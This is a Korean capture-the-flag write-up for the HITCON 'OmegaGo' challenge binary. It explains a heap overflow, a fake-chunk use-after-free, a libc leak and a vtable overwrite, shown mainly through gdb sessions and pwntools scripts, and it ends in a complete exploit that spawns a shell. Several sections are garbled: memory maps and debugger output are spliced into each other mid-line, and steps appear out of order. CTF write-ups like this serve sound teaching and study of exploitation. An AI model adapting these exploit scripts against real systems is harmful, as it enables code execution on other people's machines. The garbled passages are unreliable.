    • 다음과 같이 값을 변경합니다.

      • 1010 1100 0110 0010 1001 0000

      • 위치 값 : D19, E19

    • 사용자가 입력한 값 D19, E19에 의해 gPlayerGameInfo.board[0]에 저장된 값이 0xac6290 으로 변경되었습니다.

      • 0xac6290 영역은 GameInfo.board[9] 영역입니다.
Code Block
titlePosition value
$ D19
   ABCDEFGHIJKLMNOPQRS
19 ..OX..OX.XXX.......

...

Time remain: O: 180.00, X: 154.17

$ E19
   ABCDEFGHIJKLMNOPQRS
19 ..OXX.OX.XXX.......

...
Time remain: O: 180.00, X: 151.96

$ 
Code Block
titleThe value of "gPlayerGameInfo.board [0]" has been changed.
^C
Program received signal SIGINT, Interrupt.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000000ac6290	0x0000000000ac60d0
0x609fd0:	0x0000000000ac6190	0x0000000000ac6250
gdb-peda$ x/20gx 0x0000000000ac6290 - 0x10
0xac6280:	0x0000000155555555	0x0000000000000020
0xac6290:	0x0000000000001000	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
0xac62b0:	0x0000000400000000	0x5000010000000058
0xac62c0:	0x40667febb1290256	0x4060b9413db7f173
0xac62d0:	0xb02c3b6be73a708c	0x0000000000000031
0xac62e0:	0xc6d1f75f00000000	0x0000000000abbc90
0xac62f0:	0x0000000000000000	0x0000000000000000
0xac6300:	0x6c0eb26d35c354ca	0x0000000000000091
0xac6310:	0x0000000000ac6290	0x0000000000ac60d0
gdb-peda$ 
  • 다음과 같이 Fake chunk에 AI의 vtable공간이 할당됩니다.
    • UAF를 확인하기 위해  다음과 같이 Break point를 설정합니다.
Code Block
titleBreak point
gdb-peda$ b *0x401761
Breakpoint 1 at 0x401761
gdb-peda$ c
Continuing.
  • "surrender" 를 입력하고 게임을 재시작하면 다음과 같이 Heap 영역이 변경됩니다.

    • 변경된 heap address에 의해 Fake chunk는 fastbins에 추가 되었습니다.

    • AI의 vtable을 저장 할 Heap 영역을 요청하면 fastbins에 등록되었던 Fake chunk(0xac6290)가 할당됩니다.
    • 이로 인해 AI vtable(0xac6290) 영역에 board[]의 정보를 덮어쓸 수 있습니다.
Code Block
titleInput "surrender"
$ surrender
This AI is too strong, ah?
Play history? (y/n)
$ n
Play again? (y/n)
$ y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

$ 


Code Block
titleUAF(AI vtable)
Breakpoint 1, 0x0000000000401761 in ?? ()
gdb-peda$ p main_arena.fastbinsY 
$1 = {0xac6280, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni
0x0000000000401766 in ?? ()
gdb-peda$ i r rax
rax            0xac6290	0xac6290
gdb-peda$ p main_arena.fastbinsY 
$2 = {0x0, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0xac6290
0xac6290:	0x0000000000000000	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
gdb-peda$ c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007ff033729230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0xac6290
0xac6290:	0x0000000000405040	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
gdb-peda$ x/gx 0x0000000000405040
0x405040:	0x000000000040290a
gdb-peda$ x/10i 0x000000000040290a
   0x40290a:	push   rbp
   0x40290b:	mov    rbp,rsp
   0x40290e:	sub    rsp,0x150
   0x402915:	mov    QWORD PTR [rbp-0x128],rdi
   0x40291c:	mov    QWORD PTR [rbp-0x130],rsi
   0x402923:	mov    DWORD PTR [rbp-0x134],edx
   0x402929:	mov    QWORD PTR [rbp-0x140],rcx
   0x402930:	mov    QWORD PTR [rbp-0x148],r8
   0x402937:	mov    rax,QWORD PTR fs:0x28
   0x402940:	mov    QWORD PTR [rbp-0x8],rax
gdb-peda$
  • 다음과 같이 스크립트에 코드를 추가합니다.
Code Block
titleAdd script code
#0xXXXX010 -> 0xxxxx290
Play('D19')
Play('E19')

surrender()

Overwrite the vtable

  • 다음과 같이 AI vtable을 덮어쓸 수 있습니다.

    • AI vtable영역에서 호출 할 함수의 주소가 저장된 영역의 주소가 저장된 곳은 GameInfo.board[9] 으로 덮어쓰여 집니다.

    • 해당 영역에 저장 할 주소는 gCmd 전역 변수 + 4(0x60943C + 0x4 = 0x609440) 입니다. 

  • 해당 정보를 이용해 다음과 같은 위치 값을 생성할 수 있습니다.

    • 위치 값 : D14, E14, G14, R15, A5, Q6

    • GameInfo.board[9] 영역에 0x609440이 저장되었습니다.

Code Block
titleSave 0x609440
Q6
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 .................XO
14 ..OXX.X............
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ............O.OOX..
 5 XO.................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 162.59


gdb-peda$ x/20gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x1800000000000000	0x00000000000008a4
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000609440	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
0x60a020:	0x0000000200000005	0x000000000000004f
0x60a030:	0x40667fffaa044ae6	0x406452c1871e6cd3
0x60a040:	0x0000000000000000	0x0000000000000000
0x60a050:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 다음과 같이 스크립트에 코드를 추가합니다.
Code Block
languagepy
titleAdd script code
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)


#vtable Overflow
Play('D14')
Play('E14')
Play('G14')
Play('R15')
Play('A5')
Play('Q6')

Fill('A','E',19) 
sleep(20)
Play('F19|'+p64(execve_bash))
  • 다음과 같이 변경된 vtable 정보를 확인 할 수 있습니다.
    • AI vtable 영역은 0x1a37290 이며, 해당 영역에 gCmd 전역 변수(+4)의 주소가 저장되어 있습니다.
    • gCmd 전역 변수 +4(0x609440) 영역에는 One gadget의 주소 값이 저장되어 있습니다.

    • 해당 주소는 rax에 저장되어 호출되며, shell을 획득하게 됩니다.

Code Block
titleGet shell!
lazenca0x0@ubuntu:~$ gdb -q -p 59695
Attaching to process 59695
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from 
Code Block
titleHeap 영역에 Libc address 저장
(gdb) x/12gx 0x609FC0 - 0x10
0x609fb0: 0x000000000201a000 0x000000000201a0c0
0x609fc0: 0x000000000201a180 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000
(gdb) x/18gx 0x000000000201a0c0
0x201a0c0:	0x0000000000000000	0x0000000000000000
0x201a0d0:	0x0000000000000000	0x0000000000000000
0x201a0e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x201a0f0:	0x5550000155555555	0x0000000000000055
0x201a100:	0x0000000000000000	0x0000000000000000
0x201a110:	0x0000000000000000	0x0000000000000000
0x201a120:	0x0000000a00000007	0x0000000000000058
0x201a130:	0x40667fdc209246b8	0x40666f6b9e492bc5
0x201a140:	0x0000000000000000	0x0000000000000031
(gdb) c
Continuing.

regret


^C
Program received signal SIGINT, Interrupt.
0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) x/18gx 0x0000000001ca40c0
0x1ca40c0:	0x00007fd2579d47b8	0x00007fd2579d47b8
0x1ca40d0:	0x0000000000000000	0x0000000000000000
0x1ca40e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x1ca40f0:	0x5550000155555555	0x0000000000000055
0x1ca4100:	0x0000000000000000	0x0000000000000000
0x1ca4110:	0x0000000000000000	0x0000000000000000
0x1ca4120:	0x0000000a00000007	0x0000000000000058
0x1ca4130:	0x40667fe2174c4cdb	0x406670861e92923f
0x1ca4140:	0x0000000000000090	0x0000000000000030
(gdb) info proc map
process 4778
Mapped address spaces:
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x407000     0x7000        0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x606000           0x607000     0x1000     0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x607000           0x608000     0x1000     0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x608000           0x60b000     0x3000        0x0 
           0x1c93000          0x1cb4000    0x21000        0x0 [heap]
      0x7fd257310000     0x7fd257415000   0x105000        0x0 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257415000     0x7fd257614000   0x1ff000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257614000     0x7fd257615000     0x1000   0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257615000     0x7fd257616000     0x1000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257616000     0x7fd2577d0000   0x1ba000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2577d0000     0x7fd2579d0000   0x200000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d0000     0x7fd2579d4000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d4000     0x7fd2579d6000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d6000     0x7fd2579db000     0x5000        0x0 
      0x7fd2579db000     0x7fd2579f1000    0x16000        0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd2579f1000     0x7fd257bf0000   0x1ff000    0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf0000     0x7fd257bf1000     0x1000    0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf1000     0x7fd257cd7000    0xe6000        0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257cd7000     0x7fd257ed6000   0x1ff000    0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ed6000     0x7fd257ede000     0x8000    0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++libm.so.6..0.19
Reading      0x7fd257ede000     0x7fd257ee0000     0x2000    0xed000 symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libstdc++libm-2.23.so.6..0done.19
      0x7fd257ee0000     0x7fd257ef5000    0x15000        0x0 
      0x7fd257ef5000     0x7fd257f18000    0x23000        0x0 
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.1923.so...done.
done.

gdb-peda$ b *0x4017D0
Breakpoint 1 at  0x7fd2580f8000     0x7fd2580fd000     0x5000        0x0 
      0x7fd258114000     0x7fd258117000     0x3000        0x0 
      0x7fd258117000     0x7fd258118000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258118000     0x7fd258119000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258119000     0x7fd25811a000     0x1000        0x0 
      0x7ffe6668e000     0x7ffe666af000    0x21000        0x0 [stack]
      0x7ffe66744000     0x7ffe66746000     0x2000        0x0 [vvar]
      0x7ffe66746000     0x7ffe66748000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x10000x4017d0
gdb-peda$ c
Continuing.

Breakpoint 1, 0x00000000004017d0 in ?? ()
gdb-peda$ x/13i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]
   0x4017db:	mov    edx,DWORD PTR [rbp-0x5c]
   0x4017de:	sub    edx,0x1
   0x4017e1:	movsxd rdx,edx
   0x4017e4:	mov    rdi,QWORD PTR [rbp+rdx*8-0x30]
   0x4017e9:	lea    rsi,[rbp-0x60]
   0x4017ed:	lea    rcx,[rbp-0x64]
   0x4017f1:	mov    edx,DWORD PTR [rbp-0x5c]
   0x4017f4:	mov    r8,rsi
   0x4017f7:	mov    esi,0x609fc0
   0x4017fc:	call   rax
gdb-peda$ i r rax
rax            0x0	0x0
gdb-peda$ i r rbp
rbp            0x7ffdb99059e0	0x7ffdb99059e0
gdb-peda$ p/x 0x7ffdb99059e0 - 0x30
$1 = 0x7ffdb99059b0
gdb-peda$ x/gx 0x7ffdb99059b0
0x7ffdb99059b0:	0x0000000001a37290
gdb-peda$ x/gx 0x0000000001a37290
0x1a37290:	0x0000000000609440
gdb-peda$ x/gx 0x0000000000609440
0x609440:	0x00007f10d2973117
gdb-peda$ x/5i 0x00007f10d2973117
   0x7f10d2973117 <exec_comm+2263>:	mov    rax,QWORD PTR [rip+0x2d2d9a]        # 0x7f10d2c45eb8
   0x7f10d297311e <exec_comm+2270>:	lea    rsi,[rsp+0x70]
   0x7f10d2973123 <exec_comm+2275>:	lea    rdi,[rip+0x9bbed]        0x0 [vsyscall]
(gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000
$1 = 0x3be7b8
  • 앞에서 설명한 방법으로는 Heap 영역에 Libc address를 저장했지만 출력하지는 못합니다.
  • 다음은 Heap 영역에 저장된 Libc address를 출력하는 방법입니다.
    • "surrender" 명령어를 2번 호출합니다.
    • gameInfo 전역변수에 Overwrite된 Heap 주소 값을 변경합니다.(0x******00 → 0x******80)
      • 앞에서 "surrender" 명령어를 호출하는 이유는 gameInfo 전역변수의 첫번째 공간에 0x00으로 끝나는 주소를 저장하기 위해서 입니다.
      • 해당 값이 0x00 이 아니라면 좌표 값을 입력할 수 없습니다.
    • 좌표 값을 입력하여 Overwirte된 주소 값을 변경합니다.(D19)
    • "regret" 명령어를 실행합니다.
      • regret() 함수는 마지막에 저장된 heap address 2개를 제거합니다.

      • history[] 배열의 끝에 저장된 값은 공격자가 입력한 좌표 값에 의해 변경된 heap 주소 입니다.

      • regret() 함수는 해당 주소 값을 기준으로 추출한 정보를 전역 변수 gameInfo 에 저장합니다.
  • 디버깅을 이용해 확인해보겠습니다.
    • "surrender"에 의해 0x609fc0영역에 0x00으로 끝나는 Heap 주소(0xdd5200)가 저장되었습니다.
    • 좌표값 "D19"를 입력해 0x00를 0x80으로 변경했습니다.(0xdd5280)

    • 0xdd5280 값을 기준으로 데이터를 전역 변수 gameInfo에 저장합니다.

Code Block
titleLeak libc address
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e200	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) b *0x4016C9
Breakpoint 1 at 0x4016c9
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) c
Continuing.



//D19
Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e280	0x000000000105e2c0
0x609fd0:	0x000000000105e380	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) c
Continuing.

//regret
Breakpoint 2, 0x00000000004016c5 in ?? ()
(gdb) x/2i $rip
=> 0x4016c5:	mov    0x40(%rax),%rdx
   0x4016c9:	mov    %rdx,0x208930(%rip)        # 0x60a000
(gdb) set disassembly-flavor intel 
(gdb) x/2i $rip
=> 0x4016c5:	mov    rdx,QWORD PTR [rax+0x40]
   0x4016c9:	mov    QWORD PTR [rip+0x208930],rdx        # 0x60a000
(gdb) i r rax
rax            0xdd5280	14504576
(gdb) x/18gx 0xdd5280
0xdd5280:	0x0000000000000000	0x0000000000000031
0xdd5290:	0x0000000000dd5340	0x0000000000dcd3d0
0xdd52a0:	0x0000000000000000	0x0000000000000000
0xdd52b0:	0x240b2f4828c52f0b	0x0000000000000091
0xdd52c0:	0x00007fcad9e447b8	0x00007fcad9e447b8
0xdd52d0:	0x0000000000000000	0x0000000000000000
0xdd52e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0xdd52f0:	0x5554000155555555	0x0000000000000055
0xdd5300:	0x0000000000000000	0x0000000000000000
(gdb) x/gx 0xdd5280 + 0x40
0xdd52c0:	0x00007fcad9e447b8
(gdb) ni
0x00000000004016c9 in ?? ()
(gdb)  i r rip
rip            0x4016c9	0x4016c9
(gdb) p/x 0x208930 + 0x4016c9
$1 = 0x609ff9
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) ni
0x00000000004016d0 in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x00007fcad9e447b8	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) p/x 0x208930 + 0x4016d0
$2 = 0x60a000
  • 다음과 같은 코드를 이용하면 됩니다.
Code Block
languagepy
titleLeak libc address
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)

def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')

def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
	locate = str(col_list[colNum])
	locate += str(row)
	Play(locate)

def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])

def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
	#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
    return result

def LeakLibcAddress():
    readBoard()
    return decode(32)

#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
#sleep(20)
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))

p.interactive()

Fake chunk

  • Computer Class에 저장되는 값(vtable addr)을 변경하기 위해서는 UAF 취약성을 이용해야 합니다.
    • Player가 입력한 좌표값은 gameinfo 전역변수의 Board영역에 비트 값(01,10)으로 저장되고 있습니다.
    • Game board 정보는 Heap영역에 저장되고 있습니다.
    • 그리고 Overflow를 통해 할당해제 할 메모리 주소 값을 변경할 수 있습니다.
  • vtable 정보를 저장하기 위해 생성되는 Heap의 크기는 0x20byte 입니다.
    • 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
  • 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.

...

0000000000000000

...

# 0x7f10d2a0ed17
   0x7f10d297312a <exec_comm+2282>:	mov    rdx,QWORD PTR [rax]
   0x7f10d297312d <exec_comm+2285>:	call   0x7f10d294e770 <execve>
gdb-peda$ b *0x4017fc
Breakpoint 2 at 0x4017fc
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
gdb-peda$ i r rax
rax            0x7f10d2973117	0x7f10d2973117
gdb-peda$ c
Continuing.
process 59695 is executing new program: /bin/dash

Exploit Code

Ubuntu 16.04.3 LTS

Code Block
languagepy
titleExploit(Ubuntu 16.04.3 LTS).py
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3c4b78
execve_bash = libcBaseAddress + 0xF1117 

log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

Fill('A','I',10)

#0xXXXX010 -> 0xxxxx290
Play('D19')
Play('E19')

#UAF
surrender()

#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#vtable Overflow
Play('D14')
Play('E14')
Play('G14')
Play('R15')
Play('A5')
Play('Q6')

Fill('A','E',19) 
Play('F19|'+p64(execve_bash))
 
p.interactive()

CTF server

  • 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
    • "surrender" 명령어를 3번 실행합니다.
      • Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
    • Fake chunk 좌표값(D14, R8)을 입력합니다.

    • gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
      • 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
      • 좌표값 'P1', '01' 
    • "surrender" 명령어를 실행합니다.
  • 디버깅을 통해 확인해 보겠습니다.
    • D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
    • gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
    • gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
    • 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
    • Computer class 영역에 원하는 주소 영역을 저장하였습니다.
  • 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
    • History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.
Code Block
title디버깅
(gdb) b *0x401761
Breakpoint 1 at 0x401761
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

... fill out ...

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x00000000007074a0
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800

(gdb) x/18gx 0x0000000000707410
0x0707410:	0x0000000000000000	0x0000000000000000
0x0707420:	0x0000000000000000	0x0000000000000020
0x0707430:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707440:	0x0000000155555555	0x0000000000000020
0x0707450:	0x0000000000001000	0x0000000000000000
0x0707460:	0x0000000000000000	0x0000000000000000
0x0707470:	0x0000000a00000009	0x500001000000004f
0x0707480:	0x40660945b078d924	0x40633e4e379b77bf
0x0707490:	0x0000000000000000	0x000000000000fb71
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800



(gdb) x/18gx 0x0000000000707530
0x0707530:	0x00000000019a1450	0x00000000019a14a0
0x0707540:	0x0000000000000000	0x0000000000000020
0x0707550:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707560:	0x0000000155555555	0x0000000000000020
0x0707570:	0x0000000000001000	0x0000000000000000
0x0707580:	0x0000000000000000	0x0000000000000800
0x0707590:	0x0000000300000000	0x500001000000004f
0x07075a0:	0x40658f8b73d188eb	0x406176e57d9dba8e
0x07075b0:	0x00007f5b133663a0	0x000000000000fa51
(gdb) c
Continuing.

